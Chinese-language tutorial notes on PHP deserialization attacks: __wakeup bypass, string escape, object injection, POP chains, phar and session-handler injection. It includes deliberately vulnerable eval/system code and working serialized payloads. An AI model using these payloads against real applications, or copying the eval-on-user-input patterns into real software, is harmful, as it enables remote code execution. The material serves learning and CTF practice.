PHP反序列化
序列化就是将数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化
php 将数据序列化和反序列化会用到两个函数:
- serialize 将对象格式化成有序的字符串
- unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等
常见的序列化格式:二进制格式、字节数组、json字符串、xml字符串
序列化后的内容只有成员变量,没有成员函数
开始举例
一个小粒子:
<?php
$a=array("haha","lala","wuwu");
$b=serialize($a);
echo $b;
//输出:a:3:{i:0;s:4:"haha";i:1;s:4:"lala";i:2;s:4:"wuwu";}
/*a:指 array,代表是数组,后面的3说明有三个元素
*i:代表是整型数据int,后面的0是数组下标
*s:代表是字符串string,后面的4是因为haha长度为4*/
第二个:
<?php
class Wuwu{
public $a;
// private $b;
// protected $c;
public function __construct() {
$this->a=array("haha","lala");
// $this->b="abc";
// $this->c=999;
}
function happy() {
echo "hao ye!";
}
}
$t=new Wuwu();
$tmp=serialize($t);
echo PHP_EOL.$tmp;
echo PHP_EOL.base64_encode($tmp);
//输出:
//O:4:"Wuwu":1:{s:1:"a";a:2:{i:0;s:4:"haha";i:1;s:4:"lala";}}
//Tzo0OiJXdXd1IjoxOntzOjE6ImEiO2E6Mjp7aTowO3M6NDoiaGFoYSI7aToxO3M6NDoibGFsYSI7fX0=
//o:指对象 object,4说明对象名"Wuwu"长度为4,1说明包含一个成员变量...依此类推
- 而如果变量前是protected,则会在变量名前加上
\x00*\x00
,private则会在变量名前加上\x00类名\x00
- 输出时一般需要url编码或base64编码,直接输出则会导致不可见字符
\x00
的丢失 - 特定版本7.1以上则对于类属性不敏感,即使变量名前是protected耶不会输出
\x00*\x00
还是上边那个例子,去掉注释:
//输出:
//O:4:"Wuwu":3:{s:1:"a";a:2:{i:0;s:4:"haha";i:1;s:4:"lala";}s:7:" Wuwu b";s:3:"abc";s:4:" * c";i:999;}
/*Tzo0OiJXdXd1IjozOntzOjE6ImEiO2E6Mjp7aTowO3M6NDoiaGFoYSI7aToxO3M6NDoibGFsYSI7fXM6NzoiAFd1d3UAYiI7czozOiJhYmMiO3M6NDoiACoAYyI7aTo5OTk7fQ== */
serialize和unserialize
serialize()函数
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示
程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是 “持久数据” ,因此PHP序列化就是将内存的变量数据 “保存” 到文件中的持久数据的过程
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字,并且序列化后的结果都有一个字符,这些字符都是以下字母的缩写:
a - array - 数组 b - boolean - 布尔型 d - double - 高精度浮点型 i - integer - 整型 o - common object - 对象 r - reference - s - string - 字符型 C - custom object O - class - 类 N - null - 空 R - pointer reference U - unicode string
unserialize()函数
- unserialize()对单一的已序列化的变量进行操作,将其转换回 PHP 的值,在解序列化一个对象前,这个对象的类必须在解序列化之前定义
- 简单来理解起来就是将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果
反序列化中常见的魔术方法
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数,必须返回一个数值,里边的元素表示返回的属性名称 __construct //当一个对象创建时被调用 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发,返回值需要为字符串 __invoke() //当尝试将对象调用为函数时触发
绕过__wakeup
- (CVE-2016-7124)——版本: PHP5 < 5.6.25 、PHP7 < 7.0.10
- __wakeup()方法可以在反序列化的时候修改某些数据,或创建一个数据库连接,或添加一些属性
- 利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
绕过部分正则
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头- 利用加号绕过(注意在url里传参时+要编码为%2B)
利用引用
在 php中如果使用 & 对变量A的值指向变量B,属于浅拷贝,当变量B改变时,变量A也会跟着改变,在被反序列化的对象的某些变量被过滤,但是其他变量可控的情况下,就可以利用浅拷贝来绕过
<?php class test{ public $a; public $b; public function __construct(){ $this->a = 'abc'; $this->b= &$this->a; } public function __destruct(){ if($this->a===$this->b){ echo 666; } } } $a = serialize(new test()); //将$b设置为$a的引用,可以使$a永远与$b相等
16进制绕过字符的过滤
反序列化中为了避免信息丢失,使用大写S支持字符串的编码,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,如:
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";} //可以写成: O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";} //表示字符类型的s大写时,会被当成16进制解析
字符串逃逸
- 产生原因:php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化;总是先进行序列化,再进行替换修改操作
替换之后序列化字符变长
反序列化字符串都是以
";}
结束的,所以如果把";}
带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,如果指定的长度s错误,反序列化就会失败
O:5:"Magic":1:{s:1:"a";s:3:"abc";}
如果被改为O:5:"Magic":1:{s:1:"a";s:4:"abc";}
,那么此时a
读取的数据就变成了abc"
,正常的语法是需要用";
去闭合当前的变量,而因为长度错误所以此时php把用于闭合的双引号当做了字符串,所以下一个字符就成了分号,导致不能闭合上代码
<?php function filter($str) { return str_replace('bb', 'ccc', $str); } class A { public $name = 'abc'; public $pass = '123456'; } $AA = new A(); echo serialize($AA)."\n"; $res=filter(serialize($AA)); $c = unserialize($res); echo $c->pass;
这里有个函数会对序列化后的字符串做替换处理,替换后的字符串会变长从而导致反序列化失败
见在序列化后的字符串在经过filter函数过滤前,s为6,内容为
aaaabb
;经过filter函数过滤后,s仍然为6,但内容变为了aaaaccc
,长度变成了7根据反序列化读取变量的原则来讲,此时的name能读取到的只是
aaaacc
,末尾处的那个c读取不到,这就形成了一个字符串逃逸当添加多个
bb
,每添加一个bb
就能逃逸一个字符,将逃逸的字符串的长度填充成要反序列化的代码长度,就可以控制反序列化的结果以及类里面的变量值将name的值修改为
abbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:5:"haoye";}
,就可以在输出中看到pass的值已经变为了haoye
替换之后序列化字符变短
直接看代码
<?php function str_rep($string){ return preg_replace( '/php|test/','', $string); } $test['name'] = $_GET['name']; $test['sign'] = $_GET['sign']; $test['number'] = '2020'; $temp = str_rep(serialize($test)); printf($temp); $fake = unserialize($temp); echo '<br>'; print("name:".$fake['name'].'<br>'); print("sign:".$fake['sign'].'<br>'); print("number:".$fake['number'].'<br>'); ?>
str_rep函数会把序列化后的字符串中的php和test替换为空,导致字符串变短
在name中传入了7个
php
,被替换为空后腾出来21个字符的空间,恰好将";s:4:"sign";s:51:"he
包含进去,使";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
成为被反序列化的内容
对象注入
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞
因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入
对象漏洞出现要满足两个前提:
- unserialize的参数可控
- 代码里定义了一个包含魔术方法的类,并且该方法里出现一些 使用类成员变量作为参数的、存在安全问题的函数
一串短短的代码调了半天….中间又发现火狐寄掉了😭麻了麻了麻了
只能说,有的人几天没看啥都忘了,妄图执行
eval('whoami;')
和用echo输出反序列化的结果,被自己气笑了看代码——
<?php highlight_file(__FILE__); class Object_injection{ public $test = '666'; public function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test); $t = new Object_injection(); $tmp = serialize($t); echo $tmp; $b = 'O:16:"Object_injection":1:{s:4:"test";s:'. $len.':"'. $test. '";}'; unserialize($b);
此时post传入test的值,在执行反序列化的过程中就会调用destruct函数,从而执行传入test中的代码
POP链的构造利用
POP——面向属性编程,常用于上层语言构造特定调用链的方法,指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链
其实就是构造一条和原代码需求一样的链条,去找到被控制的属性或方法,从而构造POP链达到攻击的目的
当关键代码不在魔术方法中,而是在一个类的普通方法中时,可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
POP CHAIN——把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联
<?php highlight_file(__FILE__); class a{ public $x; public function __construct() { $this->x = new b(); } public function __destruct() { $this->x->n(); } } class b{ public function n() { echo 'hao ye!'; } } class c{ public $y; public function n() { eval($this->y); } } $t = $_POST['t']; unserialize($t);
a类本来调用的是b类中的n方法,但是c类中包含一个同名方法
因此可以构造pop链,调用c类中的n方法:
t=O:1:"a":1:{s:1:"x";O:1:"c":1:{s:1:"y";s:10:"phpinfo();";}}
注意:private属性和protect属性需要url编码
一些常见的可利用方法:
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
可以配合PHP伪协议实现文件包含、命令执行等漏洞,如glob:// 伪协议查找匹配的文件路径模式
Phar反序列化
phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起的严重的php对象注入漏洞
phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包,它有一个特性就是phar文件会以序列化的形式储存用户自定义的
meta-data
,以扩展反序列化漏洞的攻击面,配合phar://
协议使用利用条件:
- phar文件要能够上传到服务器端
- 要有可用的魔术方法作为“跳板”
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
Phar文件结构
a stub
是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
- phar个文件由四部分组成,每种文件都有它独特的一种文件格式,而
__HALT_COMPILER();
就相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用 manifest
是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点contents
是被压缩文件的内容signature
可空,签名,放在文件末尾
生成一个phar文件:
<?php class test{ public $name='phpinfo();'; } $phar=new phar('test.phar');//后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>");//设置stub $obj=new test(); $phar->setMetadata($obj);//自定义的meta-data存入manifest $phar->addFromString("flag.txt","hao ye!");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
生成的phar文件,记事本打开可以看到文件头是
<?php __HALT_COMPILER(); ?>
以及中间的部分内容是序列化的形式存在于这个文件中,配合phar://伪协议,可以不依赖
unserialize()
直接进行反序列化操作php一大部分的文件系统函数在通过
phar://
伪协议解析phar文件时,可以不依赖unserialize()
直接对meta-data
进行反序列化操作受影响的函数 is_file is_dir is_link copy file stat readfile unlink filegroup fileinode fileatime filectime fopen filemtime fileowner fileperms file_exists file_get_contents file_put_contents is_executable is_readable is_writable is_writeable parse_ini_file exif_thumbnail exif_imagetype imageloadfont imagecreatefrom***系列函数 hash_hmac_file hash_file hash_update_file md5_file sha1_file getimagesize getimagesizefromstring ZipArchive类 举个例子:
<?php class test{ public $name = ''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://test.phar/flag.txt');
运行就可以看到页面输出了上面写入的flag,并且执行了传入name的
phpinfo();
上传时将test.phar修改文件扩展名为jpg或添加文件头也可以进行反序列化,不会影响解析
当限制开头不能为phar时,可以使用其它协议绕过:
compress.bzip://phar:///test.phar/flag.txt compress.bzip2://phar:///test.phar/flag.txt compress.zlib://phar:///home/sx/test.phar/flag.txt php://filter/resource=phar:///test.phar/flag.txt
mysql + phar
mysql中
LOAD DATA LOCAL INFILE
语句是批量向表中插入文件中的内容php调用mysql的语句
LOAD DATA LOCAL INFILE
导入phar文件也能触发phar中的反序列化语句LOAD DATA LOCAL INFILE '路径' INTO TABLE users;
利用方式:
<?php class A { public $s = ''; public function __wakeup () { system($this->s); } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/flag.txt\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
php-session反序列化
关于seesion:
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中,同时也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息
当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储,存储的文件是以sess_sessionid来进行命名的
有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项
会话开始之后,PHP 就会将会话中的数据设置到
$_SESSION
变量中,在$_SESSION
变量中注册变量:<?php session_start(); if (!isset($_SESSION['username'])) { $_SESSION['username'] = 'hoylindo' ; }
当 PHP 停止的时候,它会自动读取
$_SESSION
中的内容,并将其进行序列化
, 然后发送给会话保存管理器来进行保存,PHP 默认使用内置的文件会话保存管理器来完成session
的保存
PHP session 在 php.ini 中的配置——可以在这里看
PHP session 的存储机制:
PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,如Codeigniter
框架的session
存储的文件名为ci_sessionSESSIONID
session.serialize_handler
定义的引擎有三种:处理器名称 存储格式 php 键名 + 竖线 + 经过serialize()函数序列化处理的值 php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 php_serialize 经过serialize()函数序列化处理的数组(自 PHP 5.5.4 起可以使用 php_serialize) php 处理器:
<?php ini_set('session.serialize_handler','php'); session_start(); $_SESSION['session'] = $_GET['session'];
- 序列化结果为:
session|s:6:"lalala";
,session
为$_SESSION['session']
的键名,|
后为传入 GET 参数经过序列化后的值
- 序列化结果为:
php_binary处理器:
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
- 序列化结果为:
#sessionsessionsessionsessionsessions:6:"lalala";
,键值长度为 35,35 对应的 ASCII 码为#
,sessionsessionsessionsessionsessions
为键名,s:7:"xianzhi";
为传入 GET 参数经过序列化后的值
- 序列化结果为:
php_serialize 处理器
<?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session'];
序列化结果为:
a:1:{s:7:"session";s:6:"lalala";}
,a:1
表示$_SESSION
数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值
session的反序列化漏洞利用:
在会话上传过程中,对会话数据进行序列化/反序列化,序列化格式由
php.ini
中的session.serialize_handler
选项设置; 如果在脚本中设置了不同的serialize_handler
,那么可以导致注入任意session
数据形成的原理就是在用
session.serialize_handler = php_serialize
存储的字符可以引入|
,再用session.serialize_handler = php
格式取出$_SESSION
的值时,|
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞举个栗子——可以对session赋值的情况:
首先创建session.php,使用php_serialize处理器来存储session数据
<?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; echo $_SESSION['session'];
然后创建test.php,使用默认php处理器存储session数据
<?php session_start(); class test{ public $name; function __wakeup(){ echo "Who are you?"; } function __destruct(){ eval($this->name); } } $str = new test();
向session.php传参:
?session=|O:4:"test":1:{s:4:"name";s:10:"phpinfo();";}
,可以看到写入的序列化内容:a:1:{s:7:"session";s:45:"|O:4:"test":1:{s:4:"name";s:10:"phpinfo();";}";}
再访问test.php可以看到执行了
phpinfo;
没有$_SESSION变量赋值时:
在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,这个功能在文件上传的过程中利用session实时返回上传的进度;在
session.upload_process.enabled
开启时会启用这个功能,在php.ini中会默认启用这个功能上传文件时,如果 POST 一个名为
PHP_SESSION_UPLOAD_PROGRESS
的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,需要进行转义,上传的页面的写法如下:<form action="http://example.com/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
然后
$_SESSION
中的键值就会为$_SESSION["upload_progress_ryat"]
,在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini
中的session.serialize_handler
选项设置;如果在脚本中设置了不同的serialize_handler
,那么可以导致注入任意session
数据只需往该地址任意 POST 一个名为
PHP_SESSION_UPLOAD_PROGRESS
的字段,就可以将filename的值赋值到session中由于请求后,
session
会立刻被清空覆盖,因此需要不断发送请求,可以写脚本,也可以直接利用bp
参考链接:
Web安全 | PHP反序列化入门这一篇就够了 - 腾讯云开发者社区-腾讯云 (tencent.com)
CTFPHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
php反序列化—POP 链的构造利用_Snakin_ya的博客-CSDN博客_php反序列化pop